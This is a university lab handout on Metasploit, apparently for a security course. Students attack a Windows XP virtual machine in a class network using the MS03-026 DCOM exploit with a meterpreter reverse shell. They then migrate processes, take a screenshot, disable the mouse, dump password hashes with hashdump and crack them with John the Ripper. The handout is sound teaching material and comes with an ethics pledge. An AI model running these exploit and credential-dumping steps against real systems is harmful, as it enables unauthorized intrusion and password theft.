Notes from Exploring Metasploit

Instructions

Make a copy of this document, rename it to “exploring-msploit-notes” and move it to your CSE 523 Google Docs collection. If at any point in this exercise you feel stuck, raise your hand and get some guidance. When you reach each GATE below, switch over to the Tracking Progress document and update your position. Try to be efficient with your time.

Preliminaries

Before we begin in earnest, send Prof. Shidal (shidalj@wustl.edu) a message with subject “CSE 523 Promise” containing the following (replace {tags} with their real values).

> *{TodaysDate}*
>
> *Today I will be learning about Metasploit, and how to use it to gain unauthorized access to a computer system. More generally, in CSE 523 I will obtain skills and knowledge that will make it possible for me to do great harm. I hereby swear that I will only use this knowledge lawfully and for ethical purposes. I further swear that if I ever change my mind and decide to engage in unethical or illegal activity, I will first contact Prof. Shidal and give them a chance to either talk me out of it, or to hand me over to the authorities.*
>
> *Sincerely,*
> *{YourName}*

If you feel that you cannot send this email message, raise your hand and get some help.

GATE 1

Overview

Today we will explore how to use Metasploit. Keep detailed notes below (place your comments in between the provided horizontal lines); you will be referring to these in the future to do your work.

Part 1: Setting up your VMs

For this activity, you will be using the same network of 2 VMs that we used in exploring-packets-notes. In fact, we need to do the same configuration steps that were outlined in that document.

Boot up your cse523 Ubuntu virtual machine. You should already have the topology and hardware files in the right spot. Similarly, you should already have the script `vm_setup.sh` somewhere in your ONL base directory. Open up the necessary SSH connections, make your reservation (make it for 90 minutes, this time) for the cse523.onl topology in the RLI, and

commit your experiment. Once committed, the summary of the steps taken are:

- Run `./vm_setup.sh password` in order to setup the virtual machines and distribute their configuration script.
- SSH into each virtual machine and run `sudo ./config.sh` and enter your password. Then, test that this worked by typing `sudo ls` and verifying it only prints the directory contents.

If you need more specific steps than the summary given, follow the instructions in the document linked above.

These two VMs will be referred to as VM1 and VM2 for the rest of the exercise. VM1 does not require any additional setup.

Log into VM2 with X-forwarding. Remember that the -X flag must be supplied for both steps of the SSH connection. Record VM2's data interface IP address:

_____

_____

Start virtualbox with:

```
sudo virtualbox
```


You should see a warning, but it is safe to ignore. This step may take a minute or two to fully load. For any work done inside the VirtualBox VM, there will probably be about a few second delay to register mouse movement, clicks, etc. It is incredibly frustrating, but it is a known bug when using VirtualBox over an X-forwarded connection.

Once it loads, in the virtualbox window click Settings, then go to Network. Open the "Advanced" area and change Adapter 1's settings to the following:

Attached to: NAT

Click on "Port Forwarding". Add a new rule entry that sets the host port and guest port to 135, and the port type to TCP. This VM setup emulates a single XP machine attached to a Linux router, where the msrpc protocol is being forwarded. Next, close the Port Forwarding and Settings windows and start the Windows XP VM.

When the XP virtual machine is loaded, you should see an on-screen keyboard. Feel free to minimize this. It is there for circumstances when someone cannot type directly into the VM with their keyboard.

For the rest of the exercise, leave the VirtualBox windows open, and do nothing else in VM2's terminal window until instructed to do so. Open a new terminal window and log into VM1 with X-forwarding, and then record VM1's data interface IP address:

_____

_____

Verify that VM1 can connect to XP in both directions. From XP, do this by pinging VM1. From

VM1, do this with the following command:

```
sudo nmap -O <VM2's IP Address>
```

nmap should report that port 135 is open.

Close all of the open windows in XP, except the virtual keyboard if you need it. Admire the rolling hills of the default XP background for a moment before continuing.

GATE 2

Part 2: Metasploit

In previous assignments, you have read about Metasploit. In this activity, you will begin to use it.

In VM1's terminal, enter the following command:

```
sudo msfconsole
```


This command should work for everyone. If the above command fails, then the Metasploit installation of VM1 is broken.

You are now in a Metasploit console, where you can begin doing all the things you have read about previously. For now, however, enter the following.


```
info exploit/windows/dcerpc/ms03_026_dcom
```

Look familiar? Now, enter the following commands replace {value} with the correct information from above.

```
use exploit/windows/dcerpc/ms03_026_dcom
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST {VM1's IP address}
set RHOST {VM2's IP address}
show options
```

As you will recall from your reading, the first line specifies the exploit and the second line identifies the action to be taken once the exploit has been put into action. In this case, we will try to open a meterpreter session using the "reverse tcp" transport option. You can also enter `show targets` to see a list of viable target OS types. To trigger the exploit, simply enter the following

```
exploit
```

Enter the output that you see below.

GATE 3

If everything worked, you should have an active meterpreter session. Enter the following at the meterpreter console.

```
shell
```

Do you know where you are now? If you are at a Windows console, enter the following commands. If not, raise your hand and get help.

```
cd ..
cd ..
cd Documents and Settings\user\Desktop
dir > pwned.txt
```


On your WinXP VM, look at your desktop. Double-click the .txt file; once you've seen the contents close notepad.

Back on the console, enter `exit`. This should put you back at the meterpreter prompt. At the prompt, enter the following:


```
screenshot
```

Open a new terminal window and ssh with X forwarding into the ONL, then into VM1. Open the image file in your home directory with firefox with:

firefox ~/<Image file name>

What do you see?

GATE 4

For the next step, let us determine what process our meterpreter session is connected to. At the

meterpreter console, enter `getpid`.

Next, enter `ps` and copy the output below.

You can use the information above to find out which process belongs to your active process ID. Note also the process ID associated with the explorer.exe process. Enter `migrate {explorer-exe-pid}`, using the process ID of the explorer.exe process. Copy the output of your migration command below.

There are a variety of other functions that can be invoked through meterpreter, including using keyloggers, wiping logs, and so on. We will choose one of the particularly fun ones and disable the XP host's mouse.

Enter the command `uictl disable mouse` on the meterpreter console.

Switch over to the WinXP VM. Verify that you cannot move the mouse.

Now re-enable the mouse by entering the command `uictl enable mouse` on the meterpreter console.

GATE 5

While we have meterpreter up and running, let's try one more trick. Switch to your XP VM. Go to Control Panel->User Accounts. Click on "Create a new Account", and go through the wizard to create a new account. Afterwards, select the account and then click "Create a Password" and give the new user a ***short*** password. Do NOT give it any of your secret passwords. You will divulge this password later in the exercise.

Once you've finished the account creation, switch back to VM1. At the meterpreter console, enter "hashdump". Enter the output you see below.

These are the password hashes for all user accounts running on your XP instance. Highlight the one corresponding to your new user, and copy it into a text file on VM1. Next, we'll use a password cracker to automatically determine the correct password for your user. Exit meterpreter and msfconsole and use the cracker by running (yes, that is actually the name of

the program to run!):

```
quit
quit
john <Path to your password hash file> -users=<Your new XP account's
username>
```

Enter the output of the last command here:

GATE 6

When you Close your ONL experiment and quit the RLI make sure you cancel your reservation.

COMPLETE